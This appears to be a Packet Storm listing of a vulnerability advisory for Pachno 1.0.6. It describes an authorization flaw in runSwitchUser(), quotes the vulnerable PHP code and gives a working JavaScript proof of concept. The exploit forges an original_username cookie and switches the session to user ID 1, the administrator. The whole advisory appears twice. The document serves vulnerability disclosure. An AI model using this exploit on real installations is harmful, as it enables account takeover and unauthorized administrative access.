Description
The authorization check in the runSwitchUser action in Pachno version 1.0.6 evaluates the expression !canSaveConfiguration && !hasCookie'originalusername' and only forbids the request when both subexpressions are true. The presence of the...
Basic Information
ID
PACKETSTORM:218859
Published
Apr 13, 2026 at 00:00
Affected Product
Affected Versions
Pachno 1.0.6 (runSwitchUser()) Remote Vertical Privilege Escalation
Vendor: Daniel AndrΓ© Eikeland
Product web page: https://github.com/pachno/pachno
Affected version: 1.0.6
Summary: Pachno is an open-source collaboration platform (formerly known as The Bug
Genie) designed for team project management, issue tracking, and documentation. It
offers a module-based, customizable environment for software development and team
workflows, distributed under the Mozilla Public License.
Desc: The authorization check in the runSwitchUser() action evaluates the expression
!canSaveConfiguration() && !hasCookie('original_username') and only forbids the request
when both subexpressions are true. The presence of the original_username cookie is
sufficient to satisfy the second condition, and that cookie is fully client-controlled.
An authenticated low-privilege user who sets original_username to any value and then
issues a request to switch to user ID 1 receives a fresh session token (token authentication)
or password hash cookie (password authentication) belonging to the target user. This
can be exploited to elevate privileges to administrator and impersonate arbitrary user
accounts.
=====================================================================================
/core/modules/auth/controllers/Authentication.php:
--------------------------------------------------
/**
* Switch user action
*
* @Route(name="switch_to_user", url="/userswitch/switch/:user_id/:csrf_token")
* @CsrfProtected
*
* @param framework\Request $request
*/
public function runSwitchUser(framework\Request $request)
{
if (!$this->getUser()->canSaveConfiguration() && !$request->hasCookie('original_username'))
return $this->forward403();
$response = $this->getResponse();
$authentication_backend = framework\Settings::getAuthenticationBackend();
if ($request['user_id']) {
$user = new entities\User($request['user_id']);
if ($authentication_backend->getAuthenticationMethod() == framework\AuthenticationBackend::AUTHENTICATION_TYPE_TOKEN) {
$response->setCookie('original_username', $request->getCookie('username'));
$response->setCookie('original_session_token', $request->getCookie('session_token'));
framework\Context::getResponse()->setCookie('username', $user->getUsername());
framework\Context::getResponse()->setCookie('session_token', $user->createUserSession()->getToken());
} else {
$response->setCookie('original_username', $request->getCookie('username'));
$response->setCookie('original_password', $request->getCookie('password'));
framework\Context::getResponse()->setCookie('password', $user->getHashPassword());
framework\Context::getResponse()->setCookie('username', $user->getUsername());
}
} else {
if ($authentication_backend->getAuthenticationMethod() == framework\AuthenticationBackend::AUTHENTICATION_TYPE_TOKEN) {
$response->setCookie('username', $request->getCookie('original_username'));
$response->setCookie('session_token', $request->getCookie('original_session_token'));
framework\Context::getResponse()->deleteCookie('original_session_token');
framework\Context::getResponse()->deleteCookie('original_username');
} else {
$response->setCookie('username', $request->getCookie('original_username'));
$response->setCookie('password', $request->getCookie('original_password'));
framework\Context::getResponse()->deleteCookie('original_password');
framework\Context::getResponse()->deleteCookie('original_username');
}
}
$this->forward($this->getRouting()->generate('home'));
}
=====================================================================================
Tested on: GNU/Linux
Apache2
PHP/7.4
MySQL/5.7 (MariaDB)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2026-5985
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5985
06.04.2026
--
document.cookie = "original_username=liquidworm; path=/";
const csrf = document.querySelector('input[name="csrf_token"]')?.value
|| document.querySelector('meta[name="csrf-token"]')?.content;
fetch('/switch_user', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent' : 'AuthorizationBypassium/1.12.04' },
body: `user_id=1&csrf_token=${encodeURIComponent(csrf)}`
}).then(() => {
window.location.href = '/configure';
});
// If you 'see' /configure, you are admin.
Vendor: Daniel AndrΓ© Eikeland
Product web page: https://github.com/pachno/pachno
Affected version: 1.0.6
Summary: Pachno is an open-source collaboration platform (formerly known as The Bug
Genie) designed for team project management, issue tracking, and documentation. It
offers a module-based, customizable environment for software development and team
workflows, distributed under the Mozilla Public License.
Desc: The authorization check in the runSwitchUser() action evaluates the expression
!canSaveConfiguration() && !hasCookie('original_username') and only forbids the request
when both subexpressions are true. The presence of the original_username cookie is
sufficient to satisfy the second condition, and that cookie is fully client-controlled.
An authenticated low-privilege user who sets original_username to any value and then
issues a request to switch to user ID 1 receives a fresh session token (token authentication)
or password hash cookie (password authentication) belonging to the target user. This
can be exploited to elevate privileges to administrator and impersonate arbitrary user
accounts.
=====================================================================================
/core/modules/auth/controllers/Authentication.php:
--------------------------------------------------
/**
* Switch user action
*
* @Route(name="switch_to_user", url="/userswitch/switch/:user_id/:csrf_token")
* @CsrfProtected
*
* @param framework\Request $request
*/
public function runSwitchUser(framework\Request $request)
{
if (!$this->getUser()->canSaveConfiguration() && !$request->hasCookie('original_username'))
return $this->forward403();
$response = $this->getResponse();
$authentication_backend = framework\Settings::getAuthenticationBackend();
if ($request['user_id']) {
$user = new entities\User($request['user_id']);
if ($authentication_backend->getAuthenticationMethod() == framework\AuthenticationBackend::AUTHENTICATION_TYPE_TOKEN) {
$response->setCookie('original_username', $request->getCookie('username'));
$response->setCookie('original_session_token', $request->getCookie('session_token'));
framework\Context::getResponse()->setCookie('username', $user->getUsername());
framework\Context::getResponse()->setCookie('session_token', $user->createUserSession()->getToken());
} else {
$response->setCookie('original_username', $request->getCookie('username'));
$response->setCookie('original_password', $request->getCookie('password'));
framework\Context::getResponse()->setCookie('password', $user->getHashPassword());
framework\Context::getResponse()->setCookie('username', $user->getUsername());
}
} else {
if ($authentication_backend->getAuthenticationMethod() == framework\AuthenticationBackend::AUTHENTICATION_TYPE_TOKEN) {
$response->setCookie('username', $request->getCookie('original_username'));
$response->setCookie('session_token', $request->getCookie('original_session_token'));
framework\Context::getResponse()->deleteCookie('original_session_token');
framework\Context::getResponse()->deleteCookie('original_username');
} else {
$response->setCookie('username', $request->getCookie('original_username'));
$response->setCookie('password', $request->getCookie('original_password'));
framework\Context::getResponse()->deleteCookie('original_password');
framework\Context::getResponse()->deleteCookie('original_username');
}
}
$this->forward($this->getRouting()->generate('home'));
}
=====================================================================================
Tested on: GNU/Linux
Apache2
PHP/7.4
MySQL/5.7 (MariaDB)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2026-5985
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5985
06.04.2026
--
document.cookie = "original_username=liquidworm; path=/";
const csrf = document.querySelector('input[name="csrf_token"]')?.value
|| document.querySelector('meta[name="csrf-token"]')?.content;
fetch('/switch_user', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent' : 'AuthorizationBypassium/1.12.04' },
body: `user_id=1&csrf_token=${encodeURIComponent(csrf)}`
}).then(() => {
window.location.href = '/configure';
});
// If you 'see' /configure, you are admin.